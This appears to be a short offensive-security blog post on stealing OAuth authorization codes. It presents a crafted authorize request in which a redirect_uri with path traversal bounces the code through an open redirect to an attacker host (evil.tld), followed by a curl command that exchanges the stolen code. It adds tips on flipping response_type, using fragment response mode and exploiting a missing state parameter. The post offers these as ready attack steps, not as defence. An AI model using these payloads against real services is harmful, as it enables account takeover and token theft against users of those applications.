OAuth redirect_uri and response_type juggling

Jul 23, 2026 · 1 min read

If the authorization server matches redirect_uri by prefix or ignores the path, bounce the code through an open redirect on the client to your listener.

http

GET /authorize?client_id=CID&response_type=code&scope=openid
 &redirect_uri=https://client.tld/cb/../../go?u=https://evil.tld HTTP/1.1

Then exchange the stolen code.

bash

curl -s https://client.tld/token -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://client.tld/cb"

Pro note: also test flipping response_type to token and adding response_mode=fragment, which some servers honor even for confidential clients. A missing or unbound state parameter adds login CSRF on top, so check that too.